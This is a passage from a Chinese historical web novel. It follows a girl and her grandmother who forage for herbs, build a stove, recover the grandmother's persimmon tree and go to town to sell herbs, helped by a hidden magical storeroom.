吃饱穿暖这四个字,看似简单。 可依照俩人目前的状况,这四个字就是最好的承诺,是邓老太拼尽全力的结果。 许芷将被子拉过脸,闷闷的“嗯”一声。 邓老太轻轻地拍了她两下,“睡吧。” “今儿是什么日子?” 邓老太都快睡着了,忽然听得许芷的话,眼皮猛地弹开。 她以为许芷心里还怕着,才会有此一问。 “都过去了,小指儿。” 她半天缓缓说出了这句话。 许芷一听就知道祖母误会了,直接解释。 “我并不知我昏迷了多久,所以不知今日是何年何月。” 末了,像是怕祖母多想又补充道:“今日算是我们祖孙俩浴火重生的日子,值得记下。” 邓老太一听是这个理,于是道:“三月十一。” “庆历?” “庆历二十一年三月十一。” 邓老太说完不多时,许芷的身侧就响起了鼾声。 许芷无声重复着:“庆历二十一年啊。” 许久,她转头看着熟睡的祖母,伸手无误的抓住了祖母的手腕。 把过脉放下心,将祖母的手盖进了被子。 第7章 上山采药 本以为遭遇这些事,会难以入眠。 可许芷闭上眼没多久,就进了梦乡。 再睁开眼,许芷站在一扇雕花木门前。 许芷警惕的观察四周,发现除了这扇门,其他的地方似虚空。 是梦? 许芷推门而入,这屋里有些怪。 全是厨具、碗筷、调料和煤火,像是厨房可又没有灶台。 “真是日有所思夜有所梦。” 许芷低喃。 白天还发愁没有这些,晚上竟梦到了。 她刚伸出手想摸一下面前的锅,听到了一声呼唤。 “小指儿,起来吃饭了。” 许芷睁开眼,天光大亮。 想了想自己做的梦,自嘲一笑。 “哎”了一声,便起床了。 用山泉水洗过脸,许芷坐在了桌子前。 早饭还是昨晚王茹娇带来的饼子和咸菜。 邓老太早起找了块平整又薄一些的石头,在昨晚烧火的地方起了火。 将找来的石头洗净放在火上,把饼子放在上面热了热。 她怕许芷不舍得吃,特意提前把饼子掰好,把大的那块给许芷留着。 自己则是先吃了。 可许芷又不傻,昨晚的饼子多大她心里清楚。 看着面前明显是一大半的饼子,许芷坚持又掰下来了一点让邓老太吃。 本想拒绝邓老太,在听到许芷说:“你多吃些把身体养住了,才能多陪孙女些时日。” 便不再推脱。 两个人很快吃过了饼子,许芷开口道:“祖母,我上山看看。” 她昨晚已经盘算着上山看看,采点草药拿去卖。 她们一老一少,总要想些门路生活。 靠山吃山,最是方便。 说着,她背起昨天搬行李过来的背篓,就要上山。 “等等,小指儿,祖母跟你一起去。” 许芷看着祖母的满头银发和手里的拐杖,开口道:“祖母,您要什么跟孙女说,孙女给你采。” “你不认得,我必须去。” 邓老太态度强硬,许芷只好答应了。 她不知道,邓老太怕她上山再误食什么,才非要跟着去。 同时,上山弄点吃的也是正事。 许芷扶着祖母,两个人速度不快,沿着山泉水流下的方向上山。 大多草药都喜欢湿润的土壤环境,沿着河边走是最好的选择。 果然没走多久,许芷就发现了众多金簪草。 金簪草有清热解毒、消痈散结之效,还可敷疮。 古书有记载,妇人乳痈肿,水煮汁饮之,及封之,立消。 还是能煮着吃的野菜,可以说用处多多。 虽然是常见便宜的草药,但胜在积少成多。 选了一片金簪草成丛的地方,许芷蹲下开始吭哧吭哧的薅。 “前些日子一场雨,这黄花苗长得真好。” 邓老太口中的黄花苗就是金簪草,是这边的土叫法。 看着许芷只摘金簪草,邓老太放心了些,她看见有不少的面条菜、灰灰菜和白蒿。 他们这盛行把野菜简单撒层面粉蒸了吃,她寻思着光有黄花苗煮粥不行。 就也蹲下开始薅这些新鲜的野菜。 两个人好似掉进米缸的老鼠,头也不抬的一顿薅。 除了这几样野菜,邓老太还看到有新鲜刚出的香椿芽。 这时候的香椿芽香味正好,又嫩,炒鸡蛋或者烙饼都是不错的选择。 想到这,邓老太觉得有必要去买锅和置办点柴米油盐了。 她还有对银耳环,是成亲的时候,丈夫送的。 当了总能置办点家当。 心里虽然不舍得,但是人总要先生活。 这边许芷薅了满满一筐,压都压不下了。 刚准备站起来回去,又发现了车前草。 又叫牛舌草,利尿通淋,还能外敷,也是常见的草药。 许芷可惜的看着那一片,心想再跑一趟算了。 转身准备叫祖母下山,看到了祖母身边摘的野菜,开口道:“祖母,跟我下山吧,筐子装不下,我一会儿再跑一趟。” 邓老太转头一看,无奈道:“想吃这黄花苗随时上来采,怎么弄这么多?” 许芷随口道:“省得跑嘛。” 说着走过来搀着祖母下山去。 下山的时候,许芷顺道把金簪草都在河里洗好了。 走一路背篓漏着水,到了家门口,控水控的也差不多。 她找了块背阴的地方,将地上收拾干净,把金簪草倒出铺开晾着。 “祖母,我上山了。” 喊了一嗓子,许芷继续出发上山去。 这次她直奔那一片车前草去,小心地将每一株完整的拔出。 一个时辰后,她背着洗好的车前草到了家。 背篓上面是祖母采的野菜,还有把野葱,都已经洗好了。 邓老太看着满满一筐,还以为她又采了很多的野菜。 谁知道,许芷将上面的野菜拿下来,下面是大半筐的野草。 这草他们会割了喂牛,但是没人单独弄这个。 邓老太疑惑问道:“你弄这草干什么?” “这是车前草,一种药。” 许芷一边将车前草晾在金簪草的旁边,一边回答。 “你这孩子,什么时候认识药了?” 许芷手下的动作一顿,敷衍道:“小时候知道的。” 邓老太一听也没往下问,只说自己要出去。 “你在家不要乱跑,等着祖母回来。” 她像叮嘱小孩子一样叮嘱许芷。 许芷点点头,继续晾着手里的草药。 等到祖母走了,许芷站起身,抬起头看天,刺眼的阳光让她只能眯着眼。 嘴上喃喃道:“要是有晾药架和笸箩就好了,现在太阳好,晒半个时辰就行,这样阴晾要好久。” 只是她的话音刚落下,神奇的事情发生了。 她瞬间进入到了昨晚她梦中的厨房。 许芷震惊的看着面前架子上的笸箩,还有架子旁的晾药架。 颤抖着手尝试着去拿,拿住的瞬间人又回到了晾草药的地方。 她看着手里的笸箩,不敢相信却不得不信。 虽不清楚那到底是个什么地方,可是自己却能从那地方得到想要的。 就好像是看的画本子里修仙之人的乾坤袋一样,不过自己的不是袋子,而是间乾坤屋。 许芷心想,这下她们不用担心没有锅了,她那厨房里什么都有。 不过下一瞬,她又苦恼起来。 骤然多出的东西,该怎么跟祖母解释呢? 第8章 烙葱油饼 许芷想了想,只拿出了一个现在急用的大铁锅。 其他的东西,等自己买了草药赚了钱,有了名头再一点点拿出来。 她还特意用石头和水磨了磨铁锅,放在太阳下晒了晒。 人为的将这口崭新的铁锅做了旧,还有些锈迹。 心想,祖母问就说是山上捡的。 弄完她又山上去采草药了,草药晾干之后会少很多。 多采点总是好的。 而且刚开始她不敢多弄,是因为这里只有一间窑洞,没地方放。 现在她有了那间乾坤屋就不怕了。 刚刚她好像还在那房间里看到了麻袋,这就更方便了。 她又跑了一趟山上,采了不少的金簪草和车前草。 还是跟之前一样,先洗了再背下山晾。 前面弄得车前草和金簪草都晾的差不多,为了腾开位置,她将这些都弄进了那个屋里。 将新采的晾好,刚坐下祖母就回来了。 许芷献宝一样的将锅拿出来,“祖母,你看我在山上捡到了什么。” 邓老太惊喜的看着面前的锅。 “我们小指儿手这么壮呢,竟然捡到了这么大一口锅。” 话音刚落下,她想起自己让小儿子买的锅,笑容僵在了脸上。 下午她自己去了城里,想着把银耳珰当了。 可是自己一个老太婆怕人家坑自己,就去找了小儿子邓耧子。 让小儿子帮自己去当,当了之后买口锅和米面粮油什么的。 邓耧子还得做工,晚上回来将东西带回来,所以她先回来了。 邓老太心想,要是知道能捡到这口锅。 这买锅的钱省下来给许芷买点肉吃吃补身子也是好的。 看着祖母僵硬的脸色,许芷有些不明所以,“祖母,你不高兴吗?” 邓老太一听,赶紧敛了神色,笑呵呵道:“高兴,祖母高兴。” 傍晚,邓耧子带着买的东西过来了。 除了锅,还有米面油、调料、菜刀和碗筷,甚至买了些菜种和麦种。 以及三兄弟分家,他分的三斤粗面。 许芷看着这些东西,不免感慨小舅舅心细如发。 而邓老太看着满当当的东西,背过身狐疑的问儿子。 “有这么多钱吗?” “有,怎么没有。” 邓耧子放下东西,大声回道。 可看着老母亲还是怀疑的眼神,他转移话题道:“大哥他们把那这边两亩地给了我,我这天天做工没空种,母亲就代我种吧。” 许芷适时递过来一碗水,用的还是邓耧子新买的碗。 邓耧子接住一口喝完,一路赶过来确实渴。 喝完他笑着把碗递给许芷,“再来一碗。” 许芷脆生生的“哎”一声,接过碗去舀山泉水。 回来的时候正听得舅舅说:“娘,你就种吧,那地放在那不就荒了。” 许芷将碗递给舅舅,接过话头道:“是啊,祖母,就种着吧,咱们管舅舅饭。” “对,让娘种是有条件的,娘可得管我的饭,大哥二哥都有媳妇,我这分了家一个人的,总不能买着吃啊。” 邓耧子笑着附和。 话说到这份上,邓老太也就不再坚持,点头同意了。 既然说住,邓老太就开始做晚饭。 想着儿子累了一天,还帮自己买东西什么的,邓老太打算今晚奢侈一点,烙油饼吃。 正好许芷白天薅了点野葱,切碎揉进了面里,分成大小均匀的剂子,擀薄了叠在一起再擀,油饼的层次就出来了。 这边忙着做饭,那边也没闲着。 许芷和舅舅两个人去捡石头,打算垒两个石头灶暂时用着。 两个人远离了窑洞,去山里拣石头。 看着走得远了些,邓耧子叫住了前面走着的许芷。 “小芷,手伸出来。” 许芷转过身,不明所以的伸出手。 只见邓耧子在她手里放下了一对银耳珰。 看着她疑惑的眼神,邓耧子开口道:“这是你祖母要我当的,给你们俩买锅什么的。” 许芷一下就懂了,原来祖母下午出去,是为了当东西弄点钱两个人生活。 “我当儿子的,赚着钱还能让老子娘去当东西?” 邓耧子说的很豪气,不过扭脸就换了个温顺的表情。 “这耳珰你好好收着,要是你祖母知道了定不愿意,等日后你或我赚了大钱,再拿出来就说是赎回来的。” 许芷明白舅舅的良苦用心,点过头将耳珰好好地收起来。 两个人趁着太阳彻底落山前,将石头捡了个七七八八。 邓耧子又把这些石头重新拣了一下,更大一点的拣出来放下面稳当。 接着就是简单的垒起来就行。 很快第一个石头灶就垒好了,许芷看着觉得不难,想上手试试。 邓耧子一听外甥女要弄,二话没说就让了位。 许芷想着舅舅刚刚的样子,有模有样的垒起来。 后面的邓耧子,看着许芷的样子不指手画脚。 只有许芷哪里弄得可能不稳,才开口说一两句。 这边灶弄好,那边邓老太的饼也都擀好了。 她还把今天采的野菜薄薄裹了层面粉,打算上锅蒸一下,拌了吃。 邓老太做饭利索得很,这边烙着饼,那边蒸着菜。 一刻钟过去,饼子和蒸菜已经上了桌。 又快速的用单独留下的一点野菜,切碎了做野菜疙瘩粥。 吃饭前,许芷特地去找了块大石头给舅舅当凳子。 三个人一人一块饼,一碗粥,就着蒸菜,吃的不亦乐乎。 许芷因为今天往山上跑趟跑得多,饿得很,吃了两块饼、两碗疙瘩汤。 吃的肚子都绷起来才停下。 而邓耧子就更不用说了,本就是干力气活的,吃了五块饼子才作罢。 吃饱喝足,许芷想着问问舅舅能不能找来人,帮忙把那柿子树出了。 光她们祖孙俩是怎么也不好弄。 没想到还没开口,邓耧子就想到了这点。 他随手拽了根狗尾巴草塞进嘴里叼着,道:“娘,明天我找人把你的柿子树给你送来。” 邓老太听到,为儿子想着自己而高兴,都能想到她的柿子树。 其实她不知道的是,邓耧子回家拿分的三斤粗面的时候,听到了大嫂跟大哥说要找人把这树卖了。 他知道这树对娘的意义,自然不会如他们所愿。 邓耧子走的时候,邓老太把剩下的饼子都塞给了儿子。 让他明天当早饭,吃不完的就带着,半晌做工累了也能拿出来顶一顶。 这个朝代的人,习惯一日两餐,也就邓耧子这种干力气活的会中间加点什么吃吃。 这还是家里人贴心的情况下。 第9章 抢柿子树 邓耧子离开后没有直接回家,而是去了几个从小玩大的朋友家里。 请人家帮忙出树,说好事办成请人家吃饭。 一个村的,有什么事儿大家本就义不容辞,就都爽快的答应了。 邓耧子还怕大哥和大嫂阻拦,又拐路去了里正家。 想让里正帮帮忙。 里正心里虽不愿跟那两口子打交道,可自己作为里正,这该是自己的职责。 故而笑着应下了。 邓耧子盘算着,明日下了工打二两好酒感谢里正。 做完这些,邓耧子才安心回了家,倒头就睡。 这边祖孙俩也躺下了。 许芷自从发现了这个‘乾坤屋’,时不时地就想进去看看。 也是多尝试才发现,她在进去的时候好似入了定一般,只是能听到别人说话。 这会儿,她又进去看看到底都有些什么。 同时,还听着邓老太讲自己的母亲的事儿,一心两用。 这屋里除了做饭用的东西,就是跟制药相关的工具。 她看着齐全的工具,觉得甚是方便。 要不是怕跟祖母说不清,她都想把所有的工具都弄出来,好好地给自己弄个药房。 第二天,祖孙俩刚起床没多久。 远远就看到三五个人往这边走,许芷看到心想这该是舅舅找的人。 为首的男人高大威猛,硬气逼人。 许芷看着来人不受控的往后退了半步。 与那人的外表相反,这人脸上挂着和煦的笑,对邓老太颔首道:“婶子,耧子哥说让我来帮忙出树呢,咱走着吧?” 邓老太刚把野菜粥做好,顺势问道:“孩子们,都吃过没?喝完粥再去吧。” “不了婶子,都吃过了。” 为首的老张家大儿,张立柱摆摆手拒绝。 其余人也都附和着他的话。 邓老太也没再劝,祖孙俩跟着他们就回了邓家。 路上村里人看到了,还以为出了什么事。 不停地有人打听,邓老太也不怕人知道,如实说要去出柿子树。 可听的人没几个信的,都觉得是邓老太不满分家的情况,故意带人去讨东西。 还有那好事的,特意来问许芷死而复生是什么感受。 许芷冷着一张脸,谁都不理。 那些人自讨没趣,也就不说话了。 到了邓家门前,邓老太也不进去,直接对他们说:“就这棵树,挖出来送到我们住的地方,重新种下。” “好嘞,婶子,放心吧。” 话音落下,几个小伙子说干就干。 而这动静吸引了在做饭的王素娟,她当是出了什么事,如此热闹。 咧着唇角本是出来看热闹的,结果却看到热闹是自家的。 此时,看热闹的人已经围了一圈,她并未看到人群里的邓老太和许芷。 看着自己刚准备卖掉的树,要被别人挖走,她气的火冒三丈。 走上前去,双手叉腰,尖酸开口:“光天化日之下,干这种臭老鼠的勾当,打量我家没人了是嘛?” 众人都知道这是个厉害角色,不打算跟她对上,只是干自己的活。 许芷扶着邓老太走上前,道:“这是祖母的树,是她的嫁妆,物归原主而已。” 王素娟看见她们俩就来气,钱没捞着一点。 所以她没好气道:“什么嫁妆不嫁妆,进了邓家门,就是邓家的东西,总之这树你们不能动。” 说着她就要上前去抢那几个人手里的锹。 而那几个大小伙子也不是吃素的,王素娟一个妇人自然是夺不过的。 眼见不行,她索性直接抱住了树。 “想出树,先把我弄下来!” 果然,被她这样一闹,那几个人不敢动了。 生怕不小心,让王素娟讹上。 里正刚好到,就撞见王素娟这样子。 他在心里叹了口气,还是得硬着头皮上。 “邓家的,你莫要胡闹,这树可是你婆婆的嫁妆,只属于你婆婆一人。” “反正我不管,这树一直在邓家门前,就是邓家的。” 王素娟胡搅蛮缠的样子,让许芷心生厌恶,脑仁疼的厉害。 里正也不能蛮横的直接上去拉人,只能动之以情晓之以理。 可明显,现在王素娟不吃这一套。 正僵持着,耽误了上山时间的许芷,不耐烦地走上前。 只说了两个字就让王素娟乖乖的下来了。 看到人下来,许芷对着张立柱他们道:“各位叔叔,麻烦你们继续吧。” 邓老太好奇的看着功成身退的许芷,“你这丫头说了什么?” “没什么。”许芷抿着唇道。 其实许芷能威胁住王素娟的就一件事,就是王素娟企图杀她骗聘银。 她只是用口型说了报官二字,王素娟再不甘心也只能妥协。 不过这招很快就不好用了,她头上的伤口,迟早要愈合。 到了晌午,这棵柿子树终于挖出来了。 抬着回到了窑洞,种在了门前的小平台上。 邓老太感激的对张立柱他们说:“柱子,晚上带着兄弟们来婶子这吃饭。” 张立柱模糊的回应:“以后,以后再说。” 邓老太不好现在拉扯太多,想着晚上等儿子回来,让儿子叫他们过来吃饭。 于是便送走了张立柱他们。 送走之后,邓老太看着自己的柿子树,眼中闪过了水光。 许芷则是又上山去,她要多晾晒点草药。 她问过祖母,她们村距离城里不算近。 除非有事,不然一般都是趁着城里大集,有牛车拉着人一起进城。 下一次集在三天后,她要趁这个时间多弄点草药。 既然去一次,何不多弄点,还能多赚些钱。 何况现在也不怕没地方放,自己有那个乾坤屋。 她轻车熟路的往那片车前草的地方去,金簪草太多了,随手摘都是一筐。 但是车前草相对来说没有那么多,还是先薅这个比较好。 当她正薅的起劲儿,突然听到了身后嘶嘶的声音。 许芷听到了并不害怕,自顾自的薅东西。 听着那声音越来越近,她突然转身,眼疾手快的抓住了蛇的脑袋。 “活蛇,能卖个好价钱。” 蛇在她手里拼命扭动挣扎,她快速地从乾坤屋里拿了个麻袋,将蛇装了进去扎紧,又丢了进去。 她刚蹲下,就看见了不远处有只兔子。 “怪不得蛇来这。” 许芷喃喃低语,悄么声的挪到了兔子的身后。 猛地一扑,雪白的兔子就到手了。 第10章 杀兔砌灶 “祖母,有肉吃了。” 许芷拎着那只兔子进了屋。 邓老太看着那肥壮的兔子,喜滋滋的唇角压不住。 不过下一瞬,她“嘶”的一声疑惑道:“小芷,你从前最喜兔子,怎的今日愿意吃肉了?” 许芷面色不变,放下背篓解释:“吃肉养身体呀,祖母。” 说完拎着兔子往河边走,路过桌子的时候,还拿上了菜刀。 看样子是要去杀兔子。 邓老太盯着孙女离去的背影,浑浊的眼神中闪过莫名的情绪。 许芷走到河边,她没让兔子清醒着杀,特意打昏了。 一只手抓住兔子的耳朵,一只脚踩着扎住的后腿。 手上一使劲儿,兔子的脖子仰起来,手起刀落。 利索的将兔子剥了皮,血清洗干净,走进了屋里。 进来的时候,许芷就将洗好的兔子放在了空闲的锅里。 又将手里的皮毛挂在墙上,等干了好收拾起来。 弄完许芷又要上山,看着外孙女的背影,邓老太嘱咐道:“去完这趟下午就别去了,我去村里借点东西下午你帮着祖母砌个灶。” “好。” 许芷简短的回答完直接又上了山。 她一边走一边拔金簪草,拔够了一筐直接在河边洗了,铺进她的小房间里阴干。 这次上山她不再围着河边转悠,而是往其他的地方探索。 果然也发现了很多其他的草药。 但都是寥寥几棵,不值得摘。 她继续走着,竟发现了一丛金银花丛。 只是这个时候还未开花,再等个小半月,开了花就能采摘。 金银花可是好东西,能治发热、中暍和恶疮。 要种植的话,起码要三到四年才会开花,比金簪草要珍贵的多。 而且产量大,摘过花之后,月余内还会再开一次花。 因发现了金银花,许芷心情很好。 仔细的看了看周围,将这里记住,约莫到了时候再来。 她继续走着,还发现了几株薄荷。 太少了,不过可以摘了做菜用。 薄荷拌菜,清凉爽口。 摘完,许芷觉得上山时间不短了,该下山了。 她顺路又摘了不少的金簪草,跟薄荷一起在河边洗了洗。 将金簪草一大半放进了屋里,剩下的和薄荷一起放在了背篓里。 毕竟上了山,让祖母看到自己只带回去了几株薄荷,多不好。 到家的时候,许芷看到祖母拿着锄,在太阳晒着的地方锄土。 许芷赶紧将背篓放下,跑过去。 “祖母,让我来吧。” 许芷接过锄头锄了起来。 邓老太站在一边擦了擦汗,大概指了个范围,跟许芷说:“就要这些黄土,差不多够砌个灶。” 许芷得了话,埋头干活不多说话。 尽管才十四五岁,这从小就干活的体格并不差。 很快就将祖母说的范围的土都锄松了,又把锄头反过来,将成块的黄土磕散。 把黄土装进祖母借来的筐,用扁担挑到窑洞的西边。 挑完了土,许芷有用祖母借来的水桶去河边打了水。 担过来的时候,看到祖母正将黄土和碎麦秸秆混在一起。 许芷好奇问道:“祖母,这时候哪来的麦秸秆啊?” 现在麦子还没成熟,正是一片青色的时候,怎么会有这种枯黄的麦秸秆。 邓老太将两者混合好,支着锄头直起腰休息。 “管别人要的,庄户人家怎么会弄不来这东西。” 看着祖母累了,许芷接过锄头,“我来吧,您跟我说怎么弄。” 祖母指挥着许芷在混合好的土料中间挖个洞,将打来的水倒进去,用锄头慢慢混合成泥。 许芷将黄泥混合好,在祖母早就划定好的地方开始砌灶。 两个人刚开始干,就听到熟悉的声音。 “婶子,小芷~” 王茹娇悠扬的声音传进来,紧跟着她的身影就出现在山坳。 不过这次不光她,还有个男子一起。 那男子的手里还拿着铁锨和泥抹子。 泥抹子是匠人盖房的时候,用来抹平墙面的工具。 砌灶用这个无非也是为了抹平台面和灶面。 许芷看着笑盈盈的王茹娇,心想自己这个朋友,每次都出现的很及时。 邓老太将刚摸到泥的脏手藏至身后,笑着寒暄:“娇娇,铁牛,你们怎么来了?” 王茹娇:“婶子,我听铁牛哥说你们要砌灶,特地来帮忙。” 邓老太有些不好意思,“这怎么能行呢?我跟小指儿俩人慢慢来。” 王茹娇毫不在意,挽起袖子就要上前帮忙。 张铁牛腼腆的对邓老太一笑,也跟上去帮忙。 “婶子,可别跟娇娇客气,不说我跟小芷好,就说咱一个村的,我俩都该来帮忙。” 王茹娇笑着来到许芷的身侧,亲昵的轻碰了下她的肩膀。 许芷想回应个笑,可总觉得五官好似定住了。 不过王茹娇并不在意,问她:“在这边住着怎么样?” “挺好的。” 许芷回。 “我猜也是,没了你那折磨人的舅母,日子定然好。” 王茹娇提到舅母表情跟着怒了一瞬,可说到日子好,她又笑的热切。 这鲜活的样子,让许芷微微愣神。 回过神的时候,王茹娇和张铁牛问了祖母砌灶的想法,听完俩人也不拖沓,当即就干了起来。 因为有了他们的加入,砌灶的进程快了很多。 半下午的时候,灶就砌成了。 方方正正的灶,有两个灶孔,可以一边炒菜另一边煮东西。 砌完灶,还剩些黄泥。 邓老太本着不浪费,就砌了个小灶。 许芷看着那个小灶觉得有意思。 这小火灶型似大肚子鼎,上面是缺了口的圆,中间大,下面是三个脚。 见外孙女围着这个小灶看,邓老太笑着说:“看啥呢?咱不是每年冬天都弄个这。” 听到这话,许芷收了兴趣。 四人走到河边去洗手,还带着用完的工具,一起清洗。 王茹娇在许芷身侧,边洗手边说:“小芷,我嫂子要带我去城里的集上玩,你要不要一起?” 许芷正愁着自己一个人没法往城里去,王茹娇这么说,她当然愿意。 于是点了头,道:“正好,我这几天上山弄了不少的山货,想去药铺卖了。” 第11章 三荤一素 王茹娇本意是想着带许芷出去散散心。 自从发生了这些事,许芷整个人看着都冷淡了。 不管是出去卖山货还是什么,总归出去了心情一定会好一点。 王茹娇甩了甩手上的水,道:“那就这么说定了,明早我跟嫂子来叫你。” 许芷赶紧拒绝,人家带着自己出去,应该是她主动去找她们。 “不了,我们村口见。” 王茹娇点了点头,带着张铁牛就要走。 邓老太赶紧拦住两人,“娇娇,铁牛,别走,小芷今天上山弄了只肥兔,晚上我炖了你俩一起吃。” 人主动来帮忙,不留人家吃个饭不合适。 张铁牛没直接表态,而是将求助的眼光看向王茹娇。 许芷也跟着说:“就留下吃个饭吧。” 王茹娇一听许芷留自己,立刻答应了下来。 听到她答应,张铁牛才点了头。 只是王茹娇一看现在还早,就说道:“婶子,现在还早些,我跟铁牛哥先回家,过会儿再过来。” 走的时候还带走了邓老太借的工具,许芷才知道这些东西都是借的张铁牛家。 两人走了后,许芷和祖母开始准备做饭。 兔子肉不好炖,提前炖上吃的时候才烂糊。 只是邓耧子买的调料很基础,要炖兔肉的话少鲜香麻辣的调味。 所以邓老太让许芷把兔子剁了,她去后面山上看看能不能找到能用的调料。 许芷怕祖母上山危险,开口道:“祖母,您别去我去,剁兔子快得很,我剁完就上去。” 说完,没等祖母说话,走上前把祖母拉了回来。 许芷利索的将兔子剁成了块,背着背篓又上山去了。 看着孙女矫健的样子,邓老太摇摇头,低声喃喃:“成了个皮猴子。” 许芷没犹豫往上次她发现野葱的地方跑去,摘了两把葱。 野葱跟自己种的葱不一样,自己种的葱上下一般粗细。 野葱的头就像蒜头一样圆润,后面杆和叶细长。 可以用野葱的头当辣味调味。 回去的路上许芷又找到了几株薄荷,一块拔了。 下山到家门口的河边洗了洗。 “祖母,可以用这野葱和薄荷。” 许芷将洗好的菜放在了桌子上。 而在家的邓老太已经将兔子焯好水,在等许芷回来的时候,还揉了面,打算弄点饼子。 又搅了碗面糊,打算做个疙瘩汤。 有了野葱,邓老太利索的将兔子炒了炒,炒完加水开炖。 因为今天刚砌的灶还没干,所以做饭用的还是临时砌的石头灶。 许芷不会做饭,没事干的她就去拣柴火。 等到邓老太面揉完打算烙饼的时候,许芷已经拣了一大堆柴火了。 没事干的她过来看祖母烙饼,想着学学。 许芷一看还觉得有些稀奇。 因为这会儿邓老太烙的饼,并不是像昨晚那样,锅底刷层油烙。 而是锅里烧着水,里面放了块高出水面,石面平整的大石头。 今天的饼擀的格外薄,擀好放在石头面上,盖上盖一会儿就焖熟了。 做好的饼不像油烙的饼金黄,而是微微有些透明,面香味很足。 邓老太的动作很快,没一会儿就烙了一沓。 许芷则是看着火,时时填着柴。 饼快烙完的时候,王茹娇和张铁牛来了。 王茹娇手里揣着五个鸡蛋,张铁牛拿了碗家里腌的咸菜。 邓老太看他们还带了东西,嗔怪的开口:“说好请你们吃东西,怎的还带东西来?” 王茹娇会说话的很,撒着娇的对邓老太说:“那不是娇娇嘴馋,想吃婶子你炒的鸡蛋。” 这么一说,邓老太宠溺一笑,接下了王茹娇手里的鸡蛋。 许芷也上前,接住了张铁牛手里的咸菜。 略有些局促的开口:“坐吧。” 张铁牛看了看,除了几块石头,没有凳子。 也不好意思问,索性站着了。 等到晚上,邓耧子回来的时候,还带着今天帮忙出树的人一起过来。 邓耧子提前叮嘱了,家里没那么多碗筷,来吃饭的都自带。 不仅如此,他还带回来了二两酒和一只烧鸡。 加上王茹娇下午带的鸡蛋,邓老太炒了个香椿鸡蛋,还有那咸菜和炖的兔肉。 算下来算是三个荤菜一个咸菜。 邓老太又怕不够吃还弄了一大锅的疙瘩汤和那么多的薄饼。 一时桌子上满满当当的。 大家两眼放光的看着这一桌菜,除了谁家有喜事摆了席,平日里,谁能吃到这么多肉。 只是没人敢坐下,邓家的情况他们都清楚。 人家招待的好,是人家人好,他们也不能傻乎乎的狼吞虎咽。 邓老太笑着让大家吃饭,大家也都是夹咸菜和鸡蛋的多。 祖孙俩发现大家都太客气了,邓老太苦口婆心的让大家放开吃也没用。 许芷则是在一边不说话,等到大家把碗里的疙瘩汤喝完,她眼疾手快的把那碗兔子肉给大家分了。 这下大家都也不谦让了,都进了自己碗里,不吃才显得难看。 这顿饭吃的大家都心满意足,吃过饭,帮助祖孙俩收拾了下桌子后才走。 而那个烧鸡还剩了一半,邓老太拉住了儿子,将鸡肉卷进了饼里塞进了儿子怀里。 邓耧子没拒绝,转身偷偷将怀里藏起来的两个鸡腿拿出来。 “娘,你跟小芷吃。” 说完放下鸡腿赶紧走,怕走慢了邓老太把其中一个鸡腿塞给自己。 王茹娇也跟许芷说了再见,“小芷,集那日村口见啊。” 许芷点了点头表示知道了,将人送出了山谷。 三日转瞬即逝,许芷每天睡醒就往山上跑。 邓老太看着孙女一筐一筐的草往家里运,虽不明白,可看着孙女乐在其中的样子,她也不拦着。 去城里的前一晚,邓老太把她叫过去。 给她塞了五个铜板。 “去城里要坐牛车,一趟一个铜板,剩下的你看看有没有想吃的零嘴,买了吃。” 许芷看着手里的五个铜板,只觉得眼眶酸,知道这钱不收下,祖母肯定不高兴,就没推脱放在了枕头下面。 睡前邓老太还不放心的说道许芷。 “去了集上,别怕花钱。要是钱不够,你就看准了想吃啥,下次集祖母带你去买。” 许芷等着祖母睡着之后,进了房里看了看草药晾的情况。 看到都晾得差不多,她将所有的草药都装好才睡觉。 第12章 进城卖药 第二天,邓老太醒的时候,身旁的位置已经空了。 而旁边的枕头上放着三个铜板。 “这丫头,让她买点吃的都不要。” 许芷早早就来到了村口,这么早来是因为她想到这再把屋里的草药拿出来。 她只打算拿个半袋,剩下的到了地方找个角落再拿出来。 一方面,东西多怕牛车不愿意拉,耽误了王家姑嫂出去。 另一方面,坐牛车的人都会知道她要去卖草药,卖不了多少就算了,多了难保谁有什么歪心思。 早上出门的时候,她带了两张昨晚的薄饼夹了咸菜,现下等着正好把饭吃了。 她在村口等了半个时辰,才远远的看到王茹娇姑嫂往这边来。 王茹娇远远的就给许芷挥手。 许芷给徐青云问好,徐青云有些爱答不理的。 许芷也不尴尬,虽然事儿都是她的舅舅和舅母干的,但是跟她有关,人家心里不舒服也能理解。 何况,她们祖孙俩刚搬出来,人家就让小姑子给送了吃的。 许芷都记着呢。 而王茹娇也察觉到了嫂子的态度,只是冲许芷吐了吐舌头。 亲昵的挽上许芷的手臂,东拉西扯的聊着。 许芷和徐青云都是不太说话的性子,有王茹娇一路叽叽喳喳也算热闹。 很快三人就到了官道,牛车还没来她们只能等着。 牛车一般会在几个村子相邻的官道上等人,一天几趟来回跑。 要是幸运的话,牛车在后面的村子往这边赶,就不用等很久。 可要是刚错过,那等的时间就长了。 还好她们三个是前者的情况,等了一刻钟左右,牛车就过来了。 上车后,徐青云和许芷同时给了赶车的铜板。 徐青云似是没料到许芷会给钱,将手里三个铜板拿回来了一个。 连带着脸色也好了许多。 而赶车的看到许芷那半袋草药,有些不满道:“你再给个铜板,这都占了一个人的位了。” 王茹娇一听就要与对方理论,只是一左一右的被许芷和徐青云拦住。 许芷冲她摇摇头,对赶车的商量说:“这袋子我抱着不占位。” 王茹娇也跟着说:“对,我们俩抱着一点多余的位都不占。” 赶车的撇着嘴不是很满意,但是车上有人等不及催他走,就只能勉强同意了。 就这样三个人坐在牛车上,摇摇晃晃的往城里去。 一个时辰后,终于进了城。 三人下了车,许芷想和她们分开。 主动说:“我去药铺卖药,你们去逛集。” 王茹娇一听抓住了她的手:“不行,我们可以陪你先去卖草药,集上有好多好吃的好玩的,可热闹了。” “不用,你们去,我卖完了在城门口等着你们。” 许芷摇摇头,没等王茹娇说话,自己提着那半袋草药走了。 她并不知道城里的药铺在哪,礼貌地问了个路人。 路上又让几人帮忙指了路,才左拐右拐的找到了城里最大的药铺。 怀清堂。 许芷觉得这名字有些怪,听着不像个药铺。 但这不是她关心的,她悄悄找了个没人的地方,将剩下的两麻袋草药都弄了出来。 有些吃力地往怀清堂去,倒不是因为重,而是因为体积大不好拿。 进了铺子,她将东西刚放下,就有小厮过来问她。 “请问抓药还是?” “卖药。” 许芷简单回道。 小厮当然看到许芷拿着三麻袋东西进来,只是没往草药方面想。 因为许芷这样子实在不像个懂草药的。 听了许芷的话,他客气道:“那麻烦您打开我看看草药的成色,才能决定收不收。” 许芷利索的打开了三个包袱,小厮本来没抱太大期望。 因为有的人虽然认识草药,可不会处理。 